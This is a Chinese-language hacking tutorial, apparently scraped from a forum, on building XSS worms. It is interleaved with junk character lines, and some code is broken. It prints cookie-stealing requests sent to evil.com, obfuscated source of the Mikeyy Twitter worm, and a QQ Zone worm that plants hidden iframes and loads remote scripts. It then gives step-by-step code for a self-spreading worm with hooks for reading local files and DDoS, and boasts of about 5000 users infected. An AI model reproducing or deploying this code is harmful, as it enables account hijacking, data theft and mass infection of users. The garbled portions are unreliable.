var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
  x0 k# t- R, K2 m# ~9 x
XmlHttp.open("GET","http://www.google.com",false);

  `+ I9 c* N) _/ v1 OXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
7 w5 E- g- a1 u; q+ U
XmlHttp.send(null);
6 `" J: E- [: b% Z, c: K
( j3 B! t. G7 b6 [. t( e% Z</script>
) R* M* P6 _3 s. d# N复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
  Z2 V2 M  A: v2 G$ F+ M* u
% T- f7 [! c; U& D! Qvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
9 K9 D5 i' P, W& m7 s& G
) e1 k6 K/ q% z# h

0 c# F3 o0 D/ ?3 {6 yXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);

XmlHttp.send(null);

7 l3 N6 N7 Y, |/ a5 L$ x<script>
( S* o' X6 k/ m4 D" F2 W5 Y复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
复制代码案例:Twitter 蠕蟲五度發威
( ~4 W: d' |, z$ M8 ?第一版:
% t9 l+ x5 O2 W3 L$ H  下载 (5.1 KB)
* s. c- p! A+ Q
6 天前 08:27

; X9 L1 `/ `, N. Y/ e, d7 z第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  

8 [1 B2 s- R1 d9 q8 `+ B   2.   

! u2 Y* G. R+ m/ K0 T- H   3. function XHConn(){  
( E1 w* _1 i4 y; x
3 m0 h; }1 S" X) S   4.   var _0x6687x2,_0x6687x3=false;  

( ]) V* ?9 W- j6 E1 @3 A   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  

, `: x1 y  q( @; r   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  

   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  

  c( _+ Q& l/ Q7 W, e9 O   8.   catch(e) { _0x6687x2=false; }; }; };  
复制代码第六版:   1. function wait() {  
/ ?9 N/ k% Z9 ~# \5 j
5 \& R0 Z- n5 u. i6 V0 p3 I& ^: }   2.   var content = document.documentElement.innerHTML;  

   3.   var tmp_cookie=document.cookie;  

   4.   var tmp_posted=tmp_cookie.match(/posted/);  
7 w& i. `( [" b$ o, Y) @" g) J
   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  
  E) s  ?- X  l6 \9 I9 b" E: ?
8 d1 C2 p( R' U* |  h   6.   var authtoken=authreg.exec(content);  

   7.   var authtoken=authtoken[1];  
" b7 ?: t( \4 N3 W+ m
   8.   var randomUpdate= new Array();  
4 l; t" J! h1 O& D" U
) L4 ^6 Q- u  a1 y: s& Q8 r9 H' \& A, l   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  

  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  

, `" P& r) \3 i  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  

  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  
- B! d% n' P2 x
  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  
; A! A$ X/ N6 i
  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  
* e3 K+ `4 O4 c" i/ ~. _
  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  
8 k, E0 D, P  j1 o4 b: j. n
5 S! x0 [, U9 O* ~' M$ a9 B) t# x  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  
' j8 h; s: E0 p! ], M
  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  
$ `& t6 K1 A$ |3 j& q) {
  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  
& t$ P/ [  E! y% e
  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  

7 X% [, s3 a( m  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  
) w& Z9 K# Z" g% `3 Z
  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  

  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  
* N9 ~$ W& `! p; G# k4 h
  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  
6 N3 ~/ b# x. F* b1 q
: E  U* T( y9 V, ?" ]  24.     

+ k. T$ z) y+ ]1 p$ R: y, [  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  
. p- T% C6 S3 B
6 ]5 E5 C5 [' N. p" f) c, q  26.   var updateEncode=urlencode(randomUpdate[genRand]);  
- R$ p) E2 ?- S# Z) M
$ F) Y' S+ G1 d. c  27.     
1 h* ~4 r% `% m* q2 x" Y
  28.   var ajaxConn= new XHConn();  

  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  
4 V( ~8 V9 z) J! V- r
6 q; y5 B9 b; ]$ {+ V* {$ q  30.   var _0xf81bx1c="Mikeyy";  

  31.   var updateEncode=urlencode(_0xf81bx1c);  
0 }( Z- x' z! e0 s
, a/ e/ [! z' E0 i/ z% |  32.   var ajaxConn1= new XHConn();  
( B, a& [1 h8 y* e7 s! \# e
  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  

  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  

' s9 V5 A6 ?3 u4 ^( n4 ]  35.   var XSS=urlencode(genXSS);  

  36.   var ajaxConn2= new XHConn();  
$ B" Z$ n* g5 T% u/ Y
; j. G2 Q+ w8 s2 {  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  
9 |% [# C& O  i  N% B" C4 e
  38.     
, v& R  s; v5 Y0 z, r. N( d
3 o) n) X8 k$ s* C& U  39. } ;  

  40. setTimeout(wait(),5250);  
5 ^' I; t# n4 C复制代码QQ空间XSSfunction killErrors() {return true;}
& L7 |- @% O: n8 T& a, A
window.onerror=killErrors;
8 h5 `% W( E  x4 v% _2 R7 i
. h. d0 p* e" i1 i7 _& a8 E
& c3 ]& d* y+ a% a- l
var shendu;shendu=4;

0 `" E. _$ q4 g# S" V( r; I//---------------global---v------------------------------------------
( F1 X9 f. o0 `$ l
//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？

3 ]7 M. k  }2 pvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
6 H1 G& U( k9 S4 s  j# @% e
$ o2 _* Q* Y! x3 d- Tvar myblogurl=new Array();var myblogid=new Array();

        var gurl=document.location.href;

+ Y+ E/ O% c$ e9 q- l! {% q        var gurle=gurl.indexOf("com/");

$ ?' X& X5 s3 U7 Y        gurl=gurl.substring(0,gurle+3);        

        var visitorID=top.document.documentElement.outerHTML;

2 T  |/ I  ?/ E2 L           var cookieS=visitorID.indexOf("g_iLoginUin = ");

        visitorID=visitorID.substring(cookieS+14);

4 o$ y, I" ]. c' F        cookieS=visitorID.indexOf(",");

" c  ?" L, L2 L" }- g' Y        visitorID=visitorID.substring(0,cookieS);

        get_my_blog(visitorID);

        DOshuamy();
; U: v. _3 _9 e6 L, y3 H( v


- ~4 z8 _, _7 \4 _" L5 Z//挂马
' g, n' G* w3 b4 b& Y3 j6 V) o
3 @' e& s# h5 I3 O4 g9 Ifunction DOshuamy(){
  g- I2 v- L3 O$ ?; J  F3 G$ @
, D* Y6 a) W% \1 l" z* xvar ssr=document.getElementById("veryTitle");

& x7 f$ g& o& B2 gssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");

}



. T% V* E: ?! h3 s2 _//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？

$ |* q3 X3 t: A* J5 `function get_my_blog(visitorID){

   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";

$ ^, \' }' v0 d8 o. s8 a  Z   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象
! f! J) B% f; A3 a, C) D
   if(xhr){    //成功就执行下面的

     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL
# A) H1 D9 T+ I% N
     xhr.send();guest=xhr.responseText;
) X% @0 S/ e! z
6 B4 x; E$ F) N4 y- w     get_my_blogurl(guest);    //执行这个函数
- w, V. V' K$ ?1 Y4 c
/ [& F) }. x. P% J& }& v, d    }
& S3 r) g/ I. v# j5 f2 D- f, R
* j* M; L% N9 I/ Q4 g! Y}
5 B: P7 B* u2 g; T" h5 x

4 q7 x0 Z& X6 P% k/ l
//这里似乎是判断没有登录的

8 M: A, \% m$ ?* ^" T' Lfunction get_my_blogurl(guest){
; r8 X, T* P5 F- M" c+ b+ W
  var mybloglist=guest;

  var myurls;var blogids;var blogide;

  for(i=0;i<shendu;i++){
$ h6 `4 |; B4 j( q) j  w" x
     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了

3 G# X5 v4 S! p' ]. q, e  }3 M3 \0 d     if(myurls!=-1){    //找到了就执行下面的
) a4 w$ z. v- a7 \% m% _
         mybloglist=mybloglist.substring(myurls+11);

5 k/ N3 C( Y" p$ N9 V         myurls=mybloglist.indexOf(')');

         myblogid=mybloglist.substring(0,myurls);

  [. W6 s+ w0 u9 B# ~/ |6 V        }else{break;}
2 [& h. {3 Z' a6 W) ~
3 P- s& m0 T, Y! P; e; M1 C}

get_my_testself();    //执行这个函数
; Z7 L: i: a# _* }& _2 [& }
}
6 c1 V6 L; n0 p; r7 i

& t8 T4 r2 {  N2 [/ I
0 E: N2 j& O0 _3 ]//这里往哪跳就不知道了
8 ]! g) h4 d( {2 W- F( {2 V  M
( t2 b7 d2 u# e0 F* |( a0 afunction get_my_testself(){
4 j1 Q8 D  ^. u2 n3 c
  for(i=0;i<myblogid.length;i++){    //获得blogid的值
% h! E+ Z/ P2 `0 a8 o% k8 \
+ D7 `2 j$ I! T! q4 R( b      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
7 v, i# K1 }/ G& a- g4 @
      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象

/ f4 ]! x9 J- C, h$ S) K# l      if(xhr2){        //如果成功
( |- n  |. j, L4 ?* o
              xhr2.open("GET",url,false);     //打开上面的那个url

              xhr2.send();
, N3 b$ d/ b2 K
: c* x5 o5 y- D7 @+ q" [              guest2=xhr2.responseText;

( @' i1 _' R7 U$ t8 M: J              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？

              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串

2 ?$ w+ o; L# ~' N% [# j& l' o              if(mycheckmydoit!="-1"){    //返回-1则代表没找到
6 t! i% i0 v+ T) g' u. ^1 A
. R. p5 k" r) U                targetblogurlid=myblogid;   
- r; n1 A# G; \: d
$ d7 ]/ c1 C# q. _' L                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它
; w! f1 T$ Y, L* N% C
                break;

               }

; {" `* [- X. w5 v2 `  M) i              if(mycheckit=="-1"){

                targetblogurlid=myblogid;

                add_js(visitorID,targetblogurlid,gurl);    //执行它
8 c! ]1 E7 c  \
, g& K( t  r  B0 J# x! C1 z! ~                break;

8 ^8 g( }$ C/ ?0 }# h               }
8 X$ U, s8 F) N; e1 C" k8 o
3 Z4 t2 R' a9 F% T# s3 J        }      
2 x0 P% G9 k' E/ ?7 D) C1 b
}
' a. |: }1 a6 }+ X9 r" z
0 ^1 G, d+ K" T4 }. V' p1 q}

5 M0 Z9 {! F' R& s' e' k
/ v7 E5 m# }1 J+ x! c
//--------------------------------------  
1 J' {' \6 Y. \5 ]
5 Z. y# u. O; q0 E//根据浏览器创建一个XMLHttpRequest对象

7 B, m, ~+ Y- ^0 t4 tfunction createXMLHttpRequest(){
7 m/ b# B- ]6 g+ C0 `) e6 x6 V' `' F
    var XMLhttpObject=null;  
2 U5 n  y' Y& \0 ^4 k4 G
. h# b3 s6 D. m+ Q( u; c) E    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  

, w- ~0 H6 R& o    else  
! n7 H5 k/ V  E2 E# M' u
- `- @9 J) h( ^4 a, `+ g2 l) y; z      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        

        for(var i=0;i<MSXML.length;i++)  

        {  
& X3 B; P7 P# [* ^* J' W5 D/ ?
6 N8 G1 F) y. C: o            try  

+ W8 g+ p. o: c            {  

                XMLhttpObject=new ActiveXObject(MSXML);  

                break;  

            }  

# i8 F( Z( A4 j% J6 @" |3 W" ?) l            catch (ex) {  
4 p0 i& e8 J" C* E2 n& {
            }  

. ~3 y" j/ u8 w         }  
+ l# {& ~! b' L+ Q4 E
      }

return XMLhttpObject;

}  
! [, x% {' y9 q
8 V/ G& n2 K1 p# `; s$ K
. D/ V8 C: R+ P8 S5 I/ t2 A4 e
//这里就是感染部分了
  F' B- o& j2 m5 `+ _# w
, _6 O8 t6 I$ {* D9 Q! ?' V! Z; Rfunction add_js(visitorID,targetblogurlid,gurl){

- f3 [2 E; w$ W9 A  g6 f* _var s2=document.createElement('script');
8 K- H! E1 ^: N, f8 U
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
# ?6 w* M2 ?+ a' i' Y% S% Y/ v
# P' S; Y+ E: Y- I4 w1 xs2.type='text/javascript';
8 N& o8 U8 c# `3 W3 Y4 t
0 L) [/ W5 b7 y: q) ]' Sdocument.getElementsByTagName('head').item(0).appendChild(s2);
3 L8 C- w1 R$ l/ {- j3 T
( i# B& D( @1 _9 b}
# q' l$ g' U+ T1 B( B9 z/ c4 X


function add_jsdel(visitorID,targetblogurlid,gurl){

  j1 _- l( O6 G2 j% Q) Bvar s2=document.createElement('script');

' f( @8 i5 U) S1 s  |s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

+ Q# n& C& j- `4 }1 r. As2.type='text/javascript';
+ w% C- f) f( g$ W- O6 n. h
document.getElementsByTagName('head').item(0).appendChild(s2);

}
. r' H# Z3 U3 z: l3 R; E复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
0 l' `1 f" w3 B( ?: {+ Z! @1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)

2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
  u$ `7 f& D; L) S
9 M/ Q* y: w) H" h5 X综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~


下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.

- [+ V; d' J$ |; F首先,自然是判断不同浏览器,创建不同的对象var request = false;

if(window.XMLHttpRequest) {

4 W1 F9 R$ @) d- Z. u7 Krequest = new XMLHttpRequest();

if(request.overrideMimeType) {

request.overrideMimeType('text/xml');
) E, c8 g% z( @/ F2 F0 w& Z
}
2 s/ Y+ Y3 `; n0 t. {1 n. k. K- l
2 \! v1 ]! q$ h6 i) W& T} else if(window.ActiveXObject) {
1 T+ }) h) @+ ]! m5 @- d8 x
; {2 n0 }8 b' k: `' }, z4 l& I3 Vvar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
8 N3 i& o& r% ~+ `# n# n( X
for(var i=0; i<versions.length; i++) {

1 F) X6 s3 x6 s/ S4 Vtry {
: x  A, C2 A5 w" p& g& h# L3 G2 A
) ?6 v# a8 y4 D6 H  p& n( ?2 Frequest = new ActiveXObject(versions);
: A+ s3 p1 F, g$ c4 S8 q
7 _8 y) B7 O7 q# n} catch(e) {}
' m5 T5 w& I, e$ v3 Z" Z% Q) G
}

}

xmlHttpReq=request;
' I, Y: Z  B" v% S) w1 c3 D复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){
  V$ @3 c  W" ]$ e, ?2 H" Y1 x
        var Browser_Name=navigator.appName;

% e4 y( l# E! H* @8 ?  t  m8 H        var Browser_Version=parseFloat(navigator.appVersion);
% E: e' v/ x1 g0 q7 _
        var Browser_Agent=navigator.userAgent;
6 P' D$ Y& q/ F4 h
        

        var Actual_Version,Actual_Name;

        
" y6 }: U0 H' m+ f
9 l9 c6 p, O% l        var is_IE=(Browser_Name=="Microsoft Internet Explorer");

* l: y, ~& R0 Y, \; f. B, O        var is_NN=(Browser_Name=="Netscape");

9 V: U0 N% |& J9 U3 H0 b        var is_Ch=(Browser_Name=="Chrome");
9 i* o1 m7 ~: d- a
: x% ~9 h# J( C+ w        
# {" q2 u, ~0 y2 M& `
8 \, {3 |) Z. S! y& s        if(is_NN){
$ j7 |2 W8 n; ~4 o6 P) x0 B
" S. E6 v4 ?* T            if(Browser_Version>=5.0){

% l! [9 d# O7 `1 x6 E2 Y# M                var Split_Sign=Browser_Agent.lastIndexOf("/");
! |1 Q% B# n0 k% w- y- l
                var Version=Browser_Agent.indexOf(" ",Split_Sign);

                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);

1 v/ E& d* O" X) f; k) e% m
! n$ u' E" h9 R* ?. p& h& D$ y# L
                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
: X% o+ T0 J# }" g7 n* B  H: \- n: C
6 C. A0 l3 n# A2 D' w" n                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
: B3 `  b- I5 X* O5 ^
% E7 [9 w* _* y  z8 G+ |, }            }

9 E- M" n2 }' V            else{

1 s' E. s/ M7 G) P' c# k                Actual_Version=Browser_Version;
8 u# }1 ~* e% s. x$ Q
                Actual_Name=Browser_Name;
6 ~+ J& R, z; ]1 u7 A9 E% d
* k* r7 f: |5 ?# U' t            }

        }
1 g8 X5 o0 G% ?& C, G
" ?% @3 p" S% w( t& \4 _) R7 s3 W        else if(is_IE){

            var Version_Start=Browser_Agent.indexOf("MSIE");
2 S# L0 Y9 H8 m- {3 a# m
            var Version_End=Browser_Agent.indexOf(";",Version_Start);

; F5 n/ L$ [. s& R( A1 L* @9 T            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

* v- A" k( c5 e% z  M. a) d7 F            Actual_Name=Browser_Name;
2 M5 b1 t  K. l: v" A7 t8 ^- |6 Y7 C
            
2 v8 P3 U# a1 L) F
            if(Browser_Agent.indexOf("Maxthon")!=-1){
" z+ b$ j* S3 n9 j, {
6 L6 Q" ~3 N5 f; W+ E1 F1 f                Actual_Name+="(Maxthon)";
7 _% F/ b+ Q( l
/ I- B3 ?8 x" F            }
+ a& y. _. }0 ~, o
            else if(Browser_Agent.indexOf("Opera")!=-1){
5 L. s9 e, Z! v' R
) w  u! _# u( M) U4 [6 A8 K8 q                Actual_Name="Opera";

                var tempstart=Browser_Agent.indexOf("Opera");

9 A9 Z3 I+ h$ W                var tempend=Browser_Agent.length;

0 B. ]0 k: v$ F/ K2 U. }, w# n, J  g* @                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

2 T+ H) x7 B8 f  a4 R4 s            }
  f" [& v' o5 N
        }

        else if(is_Ch){

# u+ _  m" d" q& x            var Version_Start=Browser_Agent.indexOf("Chrome");

            var Version_End=Browser_Agent.indexOf(";",Version_Start);

            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

            Actual_Name=Browser_Name;
& \: b( A2 ^3 \; |" {) g! P- `
# G% h! }% o: r4 P7 F* m            

            if(Browser_Agent.indexOf("Maxthon")!=-1){

                Actual_Name+="(Maxthon)";

            }
$ V4 f/ T& ^5 C! D% v
# K4 T, v0 o. {5 u  j9 a4 |            else if(Browser_Agent.indexOf("Opera")!=-1){
, X: a  F1 R6 T: i, o7 Q% Q# v' y
) p4 J+ F) _1 W/ u) I7 i6 I                Actual_Name="Opera";

1 S, X5 j2 B3 s6 X) f                var tempstart=Browser_Agent.indexOf("Opera");

; p# ]& Z1 |) e6 A, e                var tempend=Browser_Agent.length;

                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
7 v& [5 k/ J2 K8 T. |  E2 b; m
            }

        }
! i" `" O' n, Z
& A3 p8 U0 K7 L0 b& C% w        else{
2 T* L% |% T: n2 @
            Actual_Name="Unknown Navigator"
" j+ {1 u/ N! ~" E% Y
% c; ^5 g. f3 i2 j1 Q) a* F& ~5 T            Actual_Version="Unknown Version"

        }

* Q& z; C2 I6 w/ ]' J

        navigator.Actual_Name=Actual_Name;
0 u' @  Z# T- I
, z+ v6 k9 b: e  b7 w& D" Y" w+ ]        navigator.Actual_Version=Actual_Version;
( R* K4 g) g) _+ A! N: L
7 H( S% [$ s* F5 _3 d/ T0 E5 x        

& m  w% U) ~- C' W        this.Name=Actual_Name;

        this.Version=Actual_Version;

# Z' b; `3 L2 [2 P% j2 `    }
! I1 O- n7 x8 y1 }8 l
( }2 {. X, h! n4 I1 C7 a    browserinfo();
0 ^/ ~) l# F$ s. V
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
. E3 q: w  \' g; T& z
! b7 u4 y! ]* C2 E# {3 u    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}

1 X  [1 K: G* x  y' y    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}

1 t; H+ f$ n! o    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
  \( J2 l; B2 r# T" n4 N; h复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
& h% ]8 W4 d  u, Z6 P复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.
- C0 g8 v( m# {, _; D) F& H7 `
xmlHttpReq.send(null);
" I8 `2 {" ~. X7 a; ^
! m( o+ O8 W& l% V" kvar resource = xmlHttpReq.responseText;

+ }' z9 Z; E3 E9 [var id=0;var result;
( r3 Z/ M" u! u- ^8 S
9 O. A! P/ c5 W. b" E8 ?5 Gvar patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.

while ((result = patt.exec(resource)) != null)  {
7 H) W; B- g' m8 ?1 @  b9 y
id++;

! B. F, w" {" C0 S! N}
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.

$ A  u# J. a8 ^- I4 _' Y6 @no=resource.search(/my name is/);
( O* R: k2 `+ `; T$ o- a
" E& q! t# a: D6 B! Mvar wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
1 a5 d9 @  G- h5 l$ G" G$ j
7 W1 u, a' h4 C: [  Lvar post="wd="+wd;

- A2 L$ f4 V" S4 T  _xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.
) T1 G( W. O3 E2 H+ M0 G
0 w0 T! V' @1 Z% J/ P: U# QxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
! v0 }/ e; t& a) E" u1 g# s# ~
xmlHttpReq.setRequestHeader("content-length",post.length);

1 |, h% r7 r. F; l" \. ~xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

6 G0 G- w; V+ B3 C: U2 kxmlHttpReq.send(post);
7 m. y- c% u. m0 G( W3 D
}
复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{

8 \( }* v* @: p& G) `2 svar no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
" m: [: _; ^/ N7 u
2 b8 O" o! ?& S* \2 gvar namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
3 K6 I/ t: y/ }3 s! i1 r
var wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
4 ~, h! s) E$ ]6 |$ F
var post="wd="+wd;
1 h7 c( I" y1 ~1 X3 r& A
( l# {# b2 T8 a" T) rxmlHttpReq.open("OST","http://vul.com/vul.jsp",false);

+ T. b3 K0 c- b; w) y3 ~xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
$ _( t, i7 e  F8 Y( t# T& }: ?! w
xmlHttpReq.setRequestHeader("content-length",post.length);
; C9 v: s* {3 L
xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

/ O) H& e% e6 U9 R1 e( F* P/ A$ oxmlHttpReq.send(post);                 //把传播的信息 POST出去.

( w3 E8 W' \) J% D6 e$ U3 @}
复制代码-----------------------------------------------------总结-------------------------------------------------------------------

' H" c, `0 \% M0 G

+ Q4 F; r. J0 y" A. T/ A3 N本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
2 B  F, A1 _2 X" |- G1 m( g蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
2 y) D3 |* z5 O+ p+ f
! W+ t; Q; T; k9 X1 |. z
2 S) D* S7 }. T! D* c+ c

) @3 C2 p; U8 t3 z( A* d  x% R


- N/ E5 L$ H/ h1 U0 O* _  u+ N
